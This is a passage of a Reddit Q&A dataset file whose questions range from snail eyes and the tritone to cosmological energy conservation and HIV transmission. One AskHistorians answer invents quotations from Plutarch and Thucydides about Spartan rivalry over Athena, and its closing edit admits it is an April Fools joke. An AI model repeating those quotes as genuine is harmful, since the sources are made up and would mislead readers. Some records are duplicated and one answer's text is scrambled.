bright light.\n\nAlthough the light output stays the same, the amount reflected will change dramatically.", "There are too many possible configurations to give any concrete answer, but assuming the obvious: yes, the room will darken and the adjacent rooms will brighten accordingly. Since the doors are no longer positioned to reflect the light back into the room, the light will be exposed to and be absorbed/reflected by a much greater surface area (the interiors of the adjacent rooms). The dimming of the room can also be achieved by painting the doors a dark, matt colour so that the light is absorbed - or doing anything else that *reduces* the reflective area of the room where the lamp is, by the same amount. ", "I'm surprised no one here has mentioned it:  In computer graphics we have a simulated lighting system called \"radiosity\".  If you use a single light source in a room, it only directly illuminates surfaces in direct line of sight.  If you put a light bulb over a table, the underside of the table is pitch black.  So we usually just cheat and create additional light sources, making all surfaces slightly luminous or create a light source that just kind of permeates everything evenly.evels\n\nIt makes for a LOT of work in creating l with convincing lighting.  \n\nRadiosity is a technique where you can place a single light source, and then surfaces will reflect light accurately.  So the light from that bulb will \"bounce\" off the walls and floor and cast indirect light on the underside of the table, just light a real lightbulb.\n\nit has its limitations, but it's a very promising technique.  The scenario you described is one of the hardest things to solve.  Making those calculations dynamic enough while still being CPU efficient to handle that small drop in lighting that would be the natural result of opening a door into a darkened room."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "bukfnw", "title": "how do snail's eyes work", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bukfnw/eli5_how_do_snails_eyes_work/", "answers": {"a_id": ["epdlq8d", "epdlvqj"], "score": [5, 35], "text": ["Not all snails can see. Visionless snails move around using their tentacles and a good sense of smell.  \nSome snails can only see differences between light and dark, while others can clearly make out prey and other targets. Every snail species is different, but carnivorous snails generally have better vision than herbivorous snails because they need that vision to hunt. Snails also have different eye types \u2013 some have eyes that work like pinhole cameras while others have vesicular eyes with functionality more closely matching the eyes of a human.", "It is very complicated to explain but I will try my best. So basically snails are evolved from clams and mussels which are still mollusks, but they dont have any eyes. These evolved into limpets which are marine mollusks(with eyes) that never leave the rock they were born on.They have cup-shaped eyes. Snails evolved from these.\n\nSnails acquired a  deeper eye cup than limpets and the visual opening, or the eyeball got smaller. The smaller the eye gives more sharpness to the picture the snail is seeing but since there was only a small amount of light falling through the visual opening, the image was dark.\n\n So, because of this snails acquired refractory fluid, which broke the light into rays, making the picture brighter.\n\n Finally, a layer of skin cells grew over the visual opening, the outer skin grew over the opening, and the refractive fluid turned into a bubble."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3fpjvk", "title": "why is thc not physically addictive and nicotine is?", "selftext": "I read somewhere that THC functions like a neuroinhibitor and Nicotine as a Neurotransmitter. Is this why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fpjvk/eli5_why_is_thc_not_physically_addictive_and/", "answers": {"a_id": ["ctqrm4a", "ctqt8p4"], "score": [7, 8], "text": ["When you have a drug that acts as a neurotransmitter agonist (i.e. it increases the supply of a given neurotransmitter available in the brain or mimics the natural neurotransmitter), often what happens is your brain stops producing (or reduces the rate at which it produces/releases) that neurotransmitter naturally to compensate and bring the levels back down to normal.\n\nThe problem is that once you stop taking the drug, the brain now has dangerously low levels of that neurotransmitter that it had slowed down the production rate of. So now you need to take more of the drug just to get back to your normal self and avoid the withdrawal symptoms.", "I would argue that it is physically addictive. I have taken the last year and a half off of work, and injested over 2 lbs of marijuana for my own personal curiosity in that time. I've taken up to 2 weeks off. I've done 2oz of flowers plus 10g of edibles in 10 days, and I've done everything inbetween.\n\nThe addiction is not so much that you're pining for the feeling of being high, but that you can't sleep without it. After a while of no sleep (only happens if you go from a lot to none), you'll start sleeping with the most vibrant and real dreams you've ever experienced. If you quit from a more normal amount, you'll still get the vivid dreams.\n\nThe problem is that the dreams are much more nightmarish than you would expect. Having pervasive, powerful, and terrible nightmares is no fun. Marijuana makes you dream less, so you'll be tempted to ingest it to make them stop--assuming you got past the no sleep at all part."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2oahwr", "title": "How were unidentified dead bodies handled in olden times, before refrigerated morgues?", "selftext": "Was there a person like a mortician whose task was to dispose of dead people who would not have funerals? How did they dispose of the bodies?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2oahwr/how_were_unidentified_dead_bodies_handled_in/", "answers": {"a_id": ["cmlba25", "cmlf076"], "score": [2, 5], "text": ["In Paris they were displayed in a sort of underground morgue for relatives to find and identify, if any. If not claimed they were buried in a mass grave/burial pit that was kept open until full.", "There's a famous unidentified body from 19th century Paris--a beautiful young woman known only as \"L'inconnue de la Seine\" (the unknown of the Seine River). Her body was recovered and the mortician made a face mask of her so that she could be identified more easily--looking at a mask is a lot more appealing than looking at a rotting dead body. Because of her beauty, she drew a lot of attention, but in some other cases, they also did molds of the face. Once photography was available, photos might be taken of the unidentified after they were buried. In this case, though, she was never identified, but her face became a popular work of art, and the Resuscitation doll used in Red Cross classes on CPR and mouth-to-mouth resuscitation, now has her face."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "kd7ah", "title": "explain like i'm five: american telecoms", "selftext": "Here's what I don't get \u2013 why is the american telecom industry so different from the rest of the world? To bring it down to a five year old level, just focus on the iPhone. Everywhere else in the world when the iPhone comes out it's usually available in all carriers and no big fuss is made about it. But the iPhone took 4 years to get to a second carrier, and apple had to build a custom phone with a custom chip for verizon only. But even now that there is a gsm and a cdma iPhone available it's still not technically compatible with the other carriers, and Apple might still have to build a new phone exclusively for t-mobile or sprint.\n\nWhy?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kd7ah/explain_like_im_five_american_telecoms/", "answers": {"a_id": ["c2jc87m", "c2jc87m"], "score": [2, 2], "text": ["There are 2 basic technologies used in broadcasting phone information. GSM and CDMA. Sprint/verizon use CDMA, while AT & T and T-Mobile use GSM. More specifically, though, they use different bands of those technologies for their high speed networks. \n\nPart of why the iPhone took so long to get on another carrier is that Apple had an exclusive contract with AT & T, which meant they were the only ones allowed to carry the iPhone for a certain period of time. \n\nSince the carriers all operate on different bands, you need to design a phone that works on that band, so there'd need to be 4 different types of iPhones to work on all of the 4 networks. ", "There are 2 basic technologies used in broadcasting phone information. GSM and CDMA. Sprint/verizon use CDMA, while AT & T and T-Mobile use GSM. More specifically, though, they use different bands of those technologies for their high speed networks. \n\nPart of why the iPhone took so long to get on another carrier is that Apple had an exclusive contract with AT & T, which meant they were the only ones allowed to carry the iPhone for a certain period of time. \n\nSince the carriers all operate on different bands, you need to design a phone that works on that band, so there'd need to be 4 different types of iPhones to work on all of the 4 networks. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4g18lo", "title": "why do we react to negative feedback more easily than positive feedback? negative reactions always feel like a burst and positive always feels like a slow build-up.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4g18lo/eli5_why_do_we_react_to_negative_feedback_more/", "answers": {"a_id": ["d2dqxdi", "d2duz73"], "score": [18, 7], "text": ["Humans are on average more risk adverse than we are reward attracted.  We rate as more painful losing $100 than we rate pleasurable to win $100.\n\nAs such we respond strongly to avoid the discomfort if negative feedback. \n\nHowever,  positive feedback is actually more productive in learning and shaping behavior,  as the power of negative feedback long term tends to drop off significantly as soon as the punisher is gone or the liklihood of being caught is lowered. ", "Risk. You can climb a mountain many times and get a positive response from that. You can only fall off once though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1hqsnd", "title": "the tritone", "selftext": "My knowledge of musical theory is non-existent, but I know that there's something called the tritone (also known as the 'devil's note') that is synonymous with evil sounding music. It's something to do with augmented 4th/diminished 5th, but I have no idea what those are either. I've tried googling, but everything presumes I know musical theory, and the answers are written as such so I can't understand any if it. Any musicians able to educate me?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hqsnd/eli5_the_tritone/", "answers": {"a_id": ["cawz13d", "cax5s64", "cax6cgz"], "score": [5, 3, 2], "text": ["Ok, so in the western musical system there are twelve notes. Imagine frets on a guitar. Each time you move from one fret to the one right next to it you are moving up/down a \"semitone\" (or a half note, I studied music theory in spanish so im not sure)\n\nThe simple answer would be that to form a tritone, you play the root note and the note 6 semitones up. For an example, listen to Black Sabbaths self titled song. The riff starts with an E, skips to the higher E, and the third note is an A# ( # = sharp), or a Bb (b = flat). Keep in mind theyre the same note, the note in between A and B. Relative to E, A is the 4th and B is the 5th, so A# would be an augmented 4th and Bb would the diminished 5th. \n\nTo explain the 4th and 5th in the same terms, a 4th would be five semitones up from the root note, and a 5th seven semitones. The tritone is the note in between.", "In music, an \"interval\" is the distance between any 2 notes. The three most common intervals are the octave, the fourth, and the fifth, which are 8, 4, and 5 notes apart. The tritone is an interval that is 6 notes apart (1 tone = 2 notes/semitones, so 1 tritone = 6 notes). \n\nThe tritone sounds particularly dissonant because the frequency ratio of the two wavelengths are not in whole numbers.\n", "Sound is a wave, and music is a collection of these waves. Different notes have different waves, and these different waves will interact with each other. It works out that it doesn't matter what notes are being played, but how different the wavelengths are. Intervals like the perfect 4th and perfect 5th are called perfect because the wavelengths have ratios like 1:2 or 2:3; they don't clash or get in each other's way. The tritone is stuck in between these ratios, so the wavelengths clash and creates dissonance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1gz0xd", "title": "Does the law of conservation of energy hold on cosmological timescales?", "selftext": "I heard recently that since the universe is expanding, radiation is getting red-shifted. By Plank's law it means they're losing energy. Does that energy simply disappear?\n\nIf so, are there any other examples of the law of conservation of energy to not be true?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gz0xd/does_the_law_of_conservation_of_energy_hold_on/", "answers": {"a_id": ["cap7keh", "cap7ytp", "capj5wf"], "score": [6, 52, 2], "text": ["Despite what you'll listen many times, it is generally conserved, yes!  \n\nMany people in physics are very confused when it comes to conservation of energy in cosmology. This holds specially for cosmologists, because for them effectively energy is not really conserved.\n\nOnce you start learning physics, conservation of energy is sacred. Then you learn General Relativity and you realize that it depends on whether or not your space-time admits a special kind of symmetry, it's called having a \"timelike killing vector\", which essentially means that it makes sense talking about a direction which plays the role of time, and the universe is invariant under shifts in this direction.\n\nNow, the FRW universe doesn't have a timelike killing vector, meaning that in cosmological time-scales, energy is not conserved. The intuitive way to understand this is by looking at a photon: it redshifts and this energy is lost.\n\nHere's where usually the conversation ends, but this is not the whole story. \n\nIf I have a block of wood on a table, you will also tell me that energy is not conserved from the point of view of the block of wood. It's losing energy to friction. This may sound stupid, but these are exactly the same thing: the effects of the expansion act exactly like a friction. So where does this energy go? In the case of the block of wood, you know that it goes to the table because you have a microscopic model in which friction is nothing more than lots and lots of interactions that conserve energy and heat up the table. In the case of the expansion, you can answer the question in the same way, as long as you know first what causes the expansion!\n\nIn order to model the expansion of the universe, here's what one does: you just spray the universe with a lot of particles and radiation, which can be described as a fluid with no viscosity and some equation of state. And this fluid, if you plug it into Einstein's equations, will have as a solution a space-time that expands. On top of this space-time that you get by treating matter as a homogeneous fluid, energy is not conserved. But every single interaction in between the particles in this fluid conserves energy, so of course that the whole system must conserve energy.\n\nThe answer is obvious, the energy goes into the background. In cosmology you take the background as fixed, since a photon losing energy does not contribute significantly to change the background, but from a formal point of view, if the expansion is driven by some form of matter in our universe, energy is conserved!!!!!\n\nThere is one situation in which energy is not conserved, which is in the presence of a cosmological constant. A C.C. is nothing more than a god-imposed source of energy that lies everywhere in the vacuum, and makes space expand exponentially. There is the possibility that our expansion is driven by a very very very tiny C.C., but no one knows for sure if it's just matter that looks a lot like a CC or if it's actually a CC.", "You're absolutely right. An expanding Universe doesn't conserve energy in the way we normally think about it, and that's because conservation of energy isn't a sacred law at all, but rather just a happenstance of the physical system we happen to live in.\n\nThis is all because of a remarkable mathematical theorem called [Noether's theorem](_URL_4_), which tells us that physical quantities are conserved when the laws of physics possess certain *symmetries*. So when the laws of physics don't depend on where you're sitting, momentum is conserved. When they look the same in all different directions, angular momentum is conserved. All symmetries like this have corresponding conservation laws.\n\nEnergy is conserved when your laws of physics don't depend on *when* you're doing your experiment. In other words, conservation of energy is a consequence of the laws of physics being independent of time. This is obviously violated in an expanding Universe, where time-dependent pieces show up right in the [equations we use](_URL_3_) to describe the expansion. This isn't the case in the usual laws we deal with on Earth, things like Newton's law of gravity and Maxwell's equations of electromagnetism.\n\nRadiation is one great example of how energy isn't conserved, because a ball of photons loses total energy as the Universe expands. But most things you could fill the Universe with - besides slowly-moving matter - violate conservation of energy. The most dramatic is [dark energy](_URL_0_), which not only is the dominant gravitational influence in our Universe today, but has a total energy which actually *grows* in time (remarkably, its energy *density* appears to be nearly constant in time).\n\nNow, you will see some people (including at least one in this thread so far) saying that no, energy really *is* conserved in an expanding Universe, and they're not wrong... they just happen to use a different definition of energy. At the heart of it is the fact that we don't actually have a single, well-defined understanding of what energy means in a curved spacetime (like the expanding Universe). There are some definitions in which energy is conserved, because you can say that the energy lost by (say) photons goes into \"the energy of the gravitational field.\" I happen not to like those, largely because, as I said, we don't know what \"the energy of the gravitational field\" means. Sean Carroll has similar thoughts, which he explains very well in [this blog post](_URL_1_) (see also the FAQ entry [here](_URL_2_)).", "Two excellent top posts and with discussions that basically covers everything. I'll just add a link to this article which usually gets linked here when discussing energy conservation:\n\n_URL_0_\n\nIt's both fairly in-depth but yet easy to follow for a layman."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Dark_energy", "http://www.preposterousuniverse.com/blog/2010/02/22/energy-is-not-conserved/", "http://preposterousuniverse.com/writings/cosmologyprimer/faq.html", "http://en.wikipedia.org/wiki/Friedmann_equations", "http://en.wikipedia.org/wiki/Noether%27s_theorem"], ["http://math.ucr.edu/home/baez/physics/Relativity/GR/energy_gr.html"]]}
{"q_id": "cirubk", "title": "Are there any records of individual Aztec Jaguar/Eagle warriors?", "selftext": "European history is full of stories of famous knights, like Henry Percy, El Cid and Guesclin, but is there any recorded history of famous Aztec Jaguars or Eagles? The Jaguars and Eagles were one of the highest order of soldiers in Aztec society, even constituting a class of minor nobility almost exactly like a European knight, but do we even know any of their names?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cirubk/are_there_any_records_of_individual_aztec/", "answers": {"a_id": ["evbxvuv"], "score": [10], "text": ["Book 12 of the *Florentine Codex* contains a number of references to individual warriors. The clearest reference to Eagles and Jaguars comes in Chapter 38, where, in the midst of the Battle of Tenochtitlan, a number of non-Mexica groups stole into the city under cover of night to loot to the abandoned homes of the warzone. The Mexica, when they became aware of this plundering, sent a small flotilla to intercept.\n\nAs the Mexica canoes slipped close to the looters\n\n >  two eagle warriors and two jaguar warriors rose up. The first eagle was Toantemoctzin and the second Tlacotzin. The first jaguar was Temilotzin, and the second Coyohuehuetzin. \n\nThe Eagles and Jaguars intercepted the looters, and though some were able to flee\n\n >  the warriors cut off some of the enemy on the other side. When our enemies saw this, they tried to flee. Many died in the water, sinking and submerging, just pulling at one another as though they had lost their senses and were fainting. They seemed to fall splattering; when they tried to flee they just fell between the logs. When they were dragged out they were completely covered with mud, slimy with mud, entirely drowned. A great many drowned, there was a great abundance of deaths. (p.234)\n\nThere's actually another reference to Temilotzin and Coyohuehuetzin -- though we cannot be absolutely certain it was the same men -- in another passage. In this case, Temilotzin is called the \"Tlacateccatl,\" which is sort of a high level general, and he is taking a stand at a place called Atliceuhyan against an amphibious assault by the Spanish and Xochimilca. \n\nThe real heroics, however, are done by Coyohuehuetzin \n\n >  who had put on an eagle-jaguar device, eagle on one side and jaguar on the other... He came saying, \"O warriors, up and at them, let's all get going!\" Then they all ran to their boats. And when the Spaniards saw them, they retreated. The Mexica pursued them, coming straight to Atliceuhyan. Then the Spaniards withdrew their boats and stationed them at Amanlaco. And many people of Xochimilco died from arrows. And when they had chased them away, the Spaniards reformed, and then the warriors came pursuing them. Coyohuehuetzin took cover behind an altar platform.  Then he turned them around and pushed them all the way to where the youths' house stood in Atliceuhyan. Again the Spaniards came back pursuing Coyohuehuetzin, making him jump in the water. And then again the youth of Otomi rank, Itzpapalotzin, let go; he too had put on a device. Then he chased them , rolling them up like mud, scattering them into the boats. Then they left and disappeared. (pp. 226-228)\n\nSuccessful repulsion of a Spanish-Xochimilca invasion aside, the more interesting part from a historical/anthropological perspective is the fact that Coyohuehuetzin won the battle as a *cuauhtlocelotl**, an \"eagle-jaguar.\" Hassing, in his book, *Aztec Warfare*, notes \"there appears to be no distinction between these types of warriors\" (p. 45). Instead, the two military orders appear to act more like co-equal fraternities of elite warriors. We unfortunately don't know the specifics of what would lead an individual to join one or the other, but we can see from the above passage that the two groups were not exclusive. The fact that both groups, particularly by the later Imperial stage, were composed of the nobility (note the prevalence of -tzin suffixes, denoting nobility) who had the time and resources to devote themselves to warfare may have had something to do with the fraternal feelings, given the penchant of the Nahua nobility to intermarry.\n\nPerhaps the most wellknown warrior described in glowing, heroic terms though, was one who, like Iztpaplotzin, was an Otomi. Now, in this case the term Otomi does not mean the actual ethnic group, but rather a Nahua military order named after the ethnic group the entry into which required an even higher bar than admittance into the Eagles and Jaguars. One such member of this order, Tzilacatzin, has an extended passage about his exploits. His appearance in the text comes when the Spanish were assaulting the district of Nonoalco:\n\n  >  When the Spaniards landed it fell silent; not one of the people came out. But then Tzilacatzin, who were a great warrior and very valorous, hurled three stones he was carrying, huge round stones, wall stones or white stones; he had one in his hand and two on his shield. Then he went pursuing the Spaniards, scattering them into the water. They went right into the water; those who went down in the water got thoroughly wetted.\n\n >  This Tzilacatzin had the warrior rank of Otomi, for which reason he wore the Otomi hairstyle, so he looked down on his enemies, even though they be Spaniards, thinking nothing of them. He inspired general fear. When our enemies saw Tzilacatzin, they would hunch down. They strove greatly to kill him, whether shooting him with iron bolts or with guns. But Tzilacatzin disguised himself in order not to be recognized. Sometimes he would put on his own device, with his lip pendant and his golden earplugs, and he would put on his shell necklace. He would go with his head uncovered, showing that he was an Otomi. But sometimes he put on only cotton upper armor and covered his forehead with a little narrow cloth... (pp. 198-200)\n\nTzilacatzin is mentioned as part of a trio of warriors who distinguished themselves in the fighting at Nonoalco, along with Tzoyectzin and Temoctzin. He is mentioned again as repulsing a Spanish landing at Xocotitlan, where\n\n >  Tzilacatzin and some other warriors who saw the Spaniards immediately came out to face them; they came running after them, throwing stones at them, and they scattered the Spaniards into the water. (p. 210)\n\nSo we have some mentions here and there of individual fighters, but the extant histories do tend to elide over individuals. Instead, the focus is more on the grander sweep of history (Duran's *History the Indies*) or on more genealogical histories (Ixtlilxochitl's *Historia de la Nacion Chichimeca*). The former are often more general histories (though they can be remarkably detailed) from Spanish authors writing for a European audience, while indigenous authors' focus on dynastic concerns was often tied into legalistic wrangling over titles and tribute. Either way, the more romantic aspects of bold and daring warrior clashing against their foes tends to be more motif than meticulous. \n\n_____\n\n^(All quotes from Lockhart 1993 *We People Here: Nahuatl Accounts of the Conquest of Mexico*, which translates Book 12 of the *Florentine Codex*, among several other early texts)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b7wr1y", "title": "Considering that Athena was a goddess of war, how did the warlike ancient Spartans feel about their main rivals the Athenians having Athena as their patron deity?", "selftext": "Given that Athena was (like Ares) a goddess of war in addition to a goddess of wisdom, was the Athenian patronage to Athena ever a sticking point for Spartans, either as a point of jealousy or creating a feeling of kinship(however begrudging)?\n\nFor example, I've noticed that in the real world, many Muslims feel a kinship with Christians despite the stark differences in their faiths (belief in the trinity being the root of the disparity of doctrine), referring to them as 'people of the book', and considering them to be likeminded but misguided. This is as opposed to how many Christians and Jews consider Muslims to be hijacking their deity and religious traditions. Naturally, these two sentiments are not native to either end of that religious disparity. This being a modern precedent, it makes me curious as to whether this type of thing occurs in polytheistic religions as well, namely the Spartans and Athenians.\n\nWhat's the scoop? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b7wr1y/considering_that_athena_was_a_goddess_of_war_how/", "answers": {"a_id": ["ejv3g9o"], "score": [31], "text": ["Spartan objections to the Athenian cult of Athena go right back to Archaic times and the earliest known contact between the two states. Fragments of poetry discuss how the northern weaklings cannot possibly understand what Athena is about. According to Plutarch - admittedly a late source - there were embassies from Sparta submitting an official objection:\n\n >  And the Spartan envoys reached the city they demanded an audience with Peisistratos, who was tyrant at the time; and they spoke in solemn verse, saying \"Athena calls the Spartiates to the training grounds, and they confirm, that the Lakonian Athena is superior to that of the Athenians,\" and they invoked many gods as witnesses to their oath.\n\n >  To this Peisistratos replied, wittily mocking the Lakonian manner of speech, by saying only, \"is not\".\n\n-- Plutarch, *Retorts to Spartan Sayings* 16.3\n\nThis appears to have been the beginning of a rivalry of many generations. Herodotos reports that it was the Spartan traitor Demaratos who advised Xerxes on how best to raze the temple of Athena on the Akropolis - the very temple built by Peisistratos. But when Perikles began the construction of the Parthenon some decades later, the Spartans knew they could not keep up in expenses on lavish temples to Athena. The completion of the project in the 430s BC was one of the key causes of the Peloponnesian War, as Thucydides shows:\n\n >  And the last embassy sent by the Spartans made further demands, among which was the one known at the time to weigh heavily upon Spartan minds, insofar as such things could be known given the secrecy of their minds, and of their state, as was to become clear in later times when their plans were more obscure to their enemies, but in this case they stated plainly, though their king Archidamos had advised against it for the sake of preventing escalation, that they wished for the Athenians to know that they had wasted their money on bricks and mortar; if they were so fond of warlike Athena, they ought to have placed gold upon her hand.\n\n-- Thucydides 1.147\n\nIt was during the ensuing war that the rivalry took on a fascinating dimension. When Peisistratos, more than a century earlier, had regained his tyranny by dressing up a tall and beautiful woman as Athena and declaring himself to be the favourite of the goddess, he had set a precedent the Spartans eagerly embraced. \n\nEach year of the Peloponnesian War, they held a review of the women of Lakonia, and they selected the one who was tallest and most striking and the fiercest of eye. They decked her out as regally as they could, and when they marched on Athens they would parade her along with the army, inviolate, to show their enemies that Athena was with them. The Athenians, in their wrath and scorn, did the same. And so every year the campaign culminated in a standoff outside the walls of Athens as the two armies compared their Athenas. To prove their divine worth, the chosen women were made to march along elevated walkways representing the slopes of Olympos; they flaunted the richness of their garments and the beauty of the jewellery with which they had been adorned, showing that they were no longer mortal women but goddesses. While the Athenian Athena, always the more splendidly dressed, tended to put on a kindly demeanour as protector of the city, the Spartan Athena was known to march and scowl like a Spartan upon the walkway - and this was widely thought to prove that their interpretation of Athena the goddess of war was more correct.\n\n & nbsp;\n\nThis fascinating subject was covered in depth, though with a rather pro-Spartan bias, in Kraftwerk's *Das Model* (1978).\n\n & nbsp;\n\n**EDIT: This post is an April Fools joke.** Spartans did not worship a more warlike set of gods than other Greek states and certainly did not \"claim\" war deities for themselves. Their chief cults were to Zeus and Artemis. Ping u/AetherSprite224"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7dk74k", "title": "Three American Presidents were assassinated in the 36 years between 1865 and 1901, making it a shockingly common occurrence for a modern first world nation at the time. Do we know what affect this had on the national psyche? Did any prominent figures reflect upon it publically?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7dk74k/three_american_presidents_were_assassinated_in/", "answers": {"a_id": ["dpyod1k", "dpyox99", "dpyqxgu", "dpyv39i"], "score": [65, 1382, 93, 54], "text": ["As a follow-up, what changes were made to the protocol for protecting the president after each subsequent assassination? ", "I actually have an answer to this one, thanks to the excellent book *Murdering McKinley* by Eric Raunchway. It fundamentally altered the way America looked at criminal psychology, and it definitely had its effects on culture and politics as well.  \n\nAfter execution of Charles Guiteau for his assassination of President Garfield, it was becoming more and more accepted that Guiteau was insane. A smaller group began claiming he couldn't fully be held responsible for his actions. These people called themselves \"alienists\".\n\nAfter Leon Czolgosz gunned down McKinley in Buffalo just 20 years later, alienists began to take interest in Czolgosz's mental state. *Murdering McKinley* follows Dr. Vernon Briggs as he tries to determine if Czolgosz is insane or not. Ultimately, he does not come up with a compelling case to cast doubt about Czolgosz's sanity but it was one of the first major cases on a national level where psychological analysis of the suspect played a major role. [Twenty years later](_URL_1_) Briggs would get a law passed in Massachusetts that formalized the psychological aspect of criminal justice as we know it today. The word \"alienist\" fell out of favor and it became more proper to refer to doctors like Briggs as \"psychologists\". \n\nIf you're looking at this from a political and cultural standpoint I think the best place to start is [Teddy Roosevelt's telegraph](_URL_0_) upon hearing that McKinley had been shot (at that point McKinley was still alive): \n\n >  \"I am so inexpressibly shocked  &  horrified that I cannot say anything\"\n\nThere was a similar feeling of shock and disgust during the Guiteau trial after Garfield's assassination as well. Several political cartoons [made him look like a monster](_URL_3_) or a [gun wielding maniac](_URL_2_)\n\nThere was a sense of panic and dread with all of these assassinations, the Lincoln assassination lead to the trial of confirmed and alleged co-conspirators including the ~~probably~~ *maybe* innocent Mary Surratt who owned the boardinghouse that Wilkes and co. were staying in. She was executed which was apparently controversial even at that time as they was a campaign to have President Johnson grant her clemency.\n\nI think a fitting way to end this is to go over the stranger-than-fiction life of Robert Todd Lincoln. As Lincoln's son he was one of the first people to see his father's corpse after the assassination. He was inspired by his father and became a prominent figure in the Republican party, becoming Secretary of War under President Garfield. He was with Garfield when he was shot by Charles Guiteau. Later in life, he was attending the Pan-American Exposition in Buffalo when a panic came over the festivities and he learned that just a few buildings over President McKinley had been shot. Allegedly, Lincoln responded to another Presidential invitation later in life with this response: \"No, I'm not going, and they'd better not ask me, because there is a certain fatality about presidential functions when I am present.\"\n", "Followup question: Is this particular to the United States? My ignorant impression is that assassinations of heads-of-state are rather common (or at least, less rare) in this time period.", "Is the term \"first world\" applicable to the US during this timeframe? I am genuinely curious, as I read somewhere it was meant to be a reference to the cold war and US allies. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.shapell.org/manuscript/tr-mckinley-assassination", "http://scholarlycommons.law.northwestern.edu/cgi/viewcontent.cgi?article=2524&amp;context=jclc", "https://upload.wikimedia.org/wikipedia/commons/7/70/Guiteau_cartoon2.jpg", "https://upload.wikimedia.org/wikipedia/commons/5/55/Cartoon_of_Charles_Guiteau_by_Miriam_Leslie_d_1914.jpg"], [], []]}
{"q_id": "1swusy", "title": "hydrocephalus", "selftext": "How does it work, tell me every/anything about it. sorry if this is not an open-ended question, but I would really love to know ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1swusy/eli5_hydrocephalus/", "answers": {"a_id": ["ce20jtm", "ce225gh"], "score": [2, 2], "text": ["Buildup of fluid in the brain, basically.", "I suffered from that upon birth.  Had a ventricular shunt put in.  I had 7 operations before I was a year and a half to replace the shunt.  Have not had an operation since.  I'm 33 now.  Thankfully I remember none of it except what I was told by parents and relatives.  For my last operation, my primary doctor was on vacation and the resident doc had no clue on my history.  I flatlined twice while in the hospital.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l3d9z", "title": "If one capsid of HIV works its way into my bloodstream, what are my chances of getting the virus?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l3d9z/if_one_capsid_of_hiv_works_its_way_into_my/", "answers": {"a_id": ["c2pg3rc", "c2phm9f", "c2pho8l", "c2pg3rc", "c2phm9f", "c2pho8l"], "score": [45, 3, 5, 45, 3, 5], "text": ["probably pretty rare. first things first, if HIV just gets into your blood stream, it could still be intercepted by Ab and get phagocytosed, where it would hopefully be degraded and not infect the macrophage. however, if it does attach to its receptor on T cells (CD4), it could enter the cell, and being a retrovirus, create a DNA copy to integrate into your T cell's genome leading to massive production of virus after activation, because HIV's genome is specifically made to make it be an asshole. The LTR's essentially create a new promoter site in YOUR DNA, and you just start pumping HIV's shit out for it. \n\nTLDR: maybe, but probably not.", "A single viral particle would probably be pretty unlikely to cause the virus to successfully invade a T-cell. There's no way to conduct an experiment like this ethically on humans, though.\n\nAn exposure from an HIV-positive source has an infection rate of [0.3% for a stick on skin & nbsp;^pdf  & nbsp;^warning](_URL_1_), and 0.09% infection rate for a stick on a mucous membrane like your mouth. Now, keep in mind that a) a needle from an HIV-positive source is going to have much more than just 1 virus particle and b) the people who were exposed received immediate [Zidovudine](_URL_0_) post-exposure prophylaxis, so both of these things will heavily confound the numbers you're looking for, but that's the closest thing we can really get to estimating the likelihood of HIV transmission from a direct innoculation.", "This is tangential to the capsid as a unit of measurement.  How likely is it to contract HIV via mosquito bite and squashing, if the mosquito has just bitten someone else who is HIV positive?  (I live in an awful neighborhood, with lots of junkies, hookers and mosquitos, so this is on my mind frequently.  Answers would be very well appreciated.)", "probably pretty rare. first things first, if HIV just gets into your blood stream, it could still be intercepted by Ab and get phagocytosed, where it would hopefully be degraded and not infect the macrophage. however, if it does attach to its receptor on T cells (CD4), it could enter the cell, and being a retrovirus, create a DNA copy to integrate into your T cell's genome leading to massive production of virus after activation, because HIV's genome is specifically made to make it be an asshole. The LTR's essentially create a new promoter site in YOUR DNA, and you just start pumping HIV's shit out for it. \n\nTLDR: maybe, but probably not.", "A single viral particle would probably be pretty unlikely to cause the virus to successfully invade a T-cell. There's no way to conduct an experiment like this ethically on humans, though.\n\nAn exposure from an HIV-positive source has an infection rate of [0.3% for a stick on skin & nbsp;^pdf  & nbsp;^warning](_URL_1_), and 0.09% infection rate for a stick on a mucous membrane like your mouth. Now, keep in mind that a) a needle from an HIV-positive source is going to have much more than just 1 virus particle and b) the people who were exposed received immediate [Zidovudine](_URL_0_) post-exposure prophylaxis, so both of these things will heavily confound the numbers you're looking for, but that's the closest thing we can really get to estimating the likelihood of HIV transmission from a direct innoculation.", "This is tangential to the capsid as a unit of measurement.  How likely is it to contract HIV via mosquito bite and squashing, if the mosquito has just bitten someone else who is 